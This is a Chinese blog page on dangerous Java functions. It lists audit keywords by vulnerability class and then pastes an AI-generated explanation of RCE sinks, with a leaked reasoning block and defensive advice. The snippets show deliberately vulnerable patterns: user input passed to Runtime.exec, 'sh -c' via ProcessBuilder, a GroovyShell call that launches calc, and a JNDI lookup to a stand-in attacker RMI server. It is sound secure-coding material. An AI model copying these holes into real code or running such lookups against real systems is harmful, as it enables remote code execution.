java危险函数

https://www.ctolib.com/Cryin-JavaID.html
XXE:
   "SAXReader",
   "DocumentBuilder",
   "XMLStreamReader",
   "SAXBuilder",
   "SAXParser",
   "XMLReader",
   "SAXSource",
   "TransformerFactory",
   "SAXTransformerFactory",
   "SchemaFactory",
   "Unmarshaller",
   "XPathExpression"

JavaObjectDeserialization:
   "readObject",
   "readUnshared",
   "Yaml.load",
   "fromXML",
   "ObjectMapper.readValue",
   "JSON.parseObject"
SSRF:
   "HttpClient",
   "URL",
   "ImageIO",
   "HttpURLConnection",
   "OkHttpClient" 
FILE:
   "MultipartFile",
   "createNewFile",
   "FileInputStream"
Autobinding:
   "@SessionAttributes",
   "@ModelAttribute"
URL-Redirect:
   "sendRedirect",
   "forward",
   "setHeader"
EXEC:
   "getRuntime.exec",
   "ProcessBuilder.start",
   "GroovyShell.evaluate"
可以通过这个脚本来搜索:https://github.com/Cryin/JavaID/blob/master/javaid.py

<think>好的,我现在需要回答用户关于Java中RCE危险函数的问题。首先,我应该回忆一下Java中哪些函数或类容易导致远程代码执行(RCE)。我记得常见的危险类包括Runtime、ProcessBuilder,还有通过反射调用方法的情况。此外,反序列化漏洞也是一个重要方面,比如使用ObjectInputStream处理不受信任的数据。 接下来,我需要确认这些函数的具体用法和风险点。例如,Runtime.exec()和ProcessBuilder.start()都可以执行系统命令,如果用户输入未经处理直接传入这些方法,就会导致命令注入。然后,反射相关的类如Class.forName、Method.invoke,如果参数可控,可能加载恶意类或执行方法。JNDI注入也是一个问题,比如lookup方法指向恶意RMI服务,触发远程类加载,如Log4j漏洞的情况。 还要考虑其他可能的点,比如GroovyShell执行表达式,或者ScriptEngineManager执行脚本代码,如JavaScript。这些如果处理不当,同样会引发RCE。反序列化方面,除了ObjectInputStream,第三方库如Apache Commons Collections的Transformer链在旧版本中存在利用链。 需要确保覆盖主要的危险函数,并分点说明,每个点举例子,说明风险场景。同时提醒用户如何防范,比如输入验证、禁止使用危险函数、更新库版本等。还要注意结构清晰,按照用户要求分点列出,用中文解释,并符合格式要求,行内公式正确使用$符号,不过这个问题可能涉及较少数学公式,但如果有需要的地方要正确应用。 检查是否有遗漏的危险函数或类,比如Jython、表达式解析库等。确保每个条目都明确危险点,并给出示例代码片段,帮助用户理解。最后总结防御措施,强调最小权限原则和安全编码实践。现在整理这些内容,确保符合用户的结构和格式要求,不使用Markdown,用自然的中文分步骤说明。</think>在Java中,远程代码执行(RCE)漏洞通常由以下危险函数或编码模式引发,需特别注意其使用场景及安全风险: --- ### 一、**命令执行类** 1. **`Runtime.exec()`** - **风险**:直接执行操作系统命令,若参数包含未过滤的用户输入,会导致命令注入。 - **示例**: ```java String userInput = request.getParameter("cmd"); Runtime.getRuntime().exec(userInput); // 直接执行用户输入的命令 ``` 2. **`ProcessBuilder`** - **风险**:类似`Runtime.exec()`,通过构造命令参数执行系统进程。 - **示例**: ```java new ProcessBuilder("sh", "-c", userInput).start(); ``` --- ### 二、**反射与类加载** 1. **`Class.forName()` + `newInstance()`** - **风险**:动态加载类并实例化,若类名来自用户输入,可能加载恶意类。 - **示例**: ```java Class clazz = Class.forName(userControlledClassName); Object obj = clazz.newInstance(); ``` 2. **`Method.invoke()`** - **风险**:通过反射调用任意方法,若方法名和参数可控,可能触发危险操作。 - **示例**: ```java Method method = clazz.getMethod(userDefinedMethodName); method.invoke(obj); ``` --- ### 三、**反序列化漏洞** 1. **`ObjectInputStream.readObject()`** - **风险**:反序列化未经验证的数据时,可能触发恶意链(如Apache Commons Collections的Gadget)。 - **示例**: ```java ObjectInputStream ois = new ObjectInputStream(untrustedInputStream); ois.readObject(); // 可能执行构造的恶意代码 ``` --- ### 四、**表达式与脚本引擎** 1. **`ScriptEngine.eval()`** - **风险**:执行动态脚本(如JavaScript、Groovy),若输入未过滤,可导致代码注入。 - **示例**: ```java ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName("JavaScript"); engine.eval(userControlledScript); // 执行用户提供的脚本 ``` 2. **`GroovyShell.evaluate()`** - **风险**:Groovy脚本引擎直接执行表达式,可能引入RCE。 - **示例**: ```groovy new GroovyShell().evaluate("Runtime.getRuntime().exec('calc.exe')"); ``` --- ### 五、**JNDI注入** 1. **`InitialContext.lookup()`** - **风险**:加载远程JNDI对象时,可能指向恶意RMI/LDAP服务,触发类加载(如Log4j漏洞)。 - **示例**: ```java Context ctx = new InitialContext(); ctx.lookup("rmi://attacker-server/Exploit"); // 加载远程恶意类 ``` --- ### 六、**其他高危场景** 1. **表达式解析库** - **风险**:如Spring表达式(SpEL)、OGNL等,若解析用户输入可能执行代码。 - **示例**: ```java ExpressionParser parser = new SpelExpressionParser(); parser.parseExpression(userInput).getValue(); // 执行SpEL表达式 ``` --- ### **防御建议** 1. **输入过滤**:对用户输入严格校验(如白名单机制)。 2. **禁用危险函数**:避免直接调用`Runtime.exec()`等高风险方法。 3. **反序列化防护**:使用`SafeObjectInputStream`并验证类白名单。 4. **依赖库升级**:及时修复第三方库(如Log4j、Fastjson)的已知漏洞。 5. **最小权限原则**:运行Java应用时使用低权限账户。 通过控制代码执行源头和加强安全编码实践,可有效降低RCE风险。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值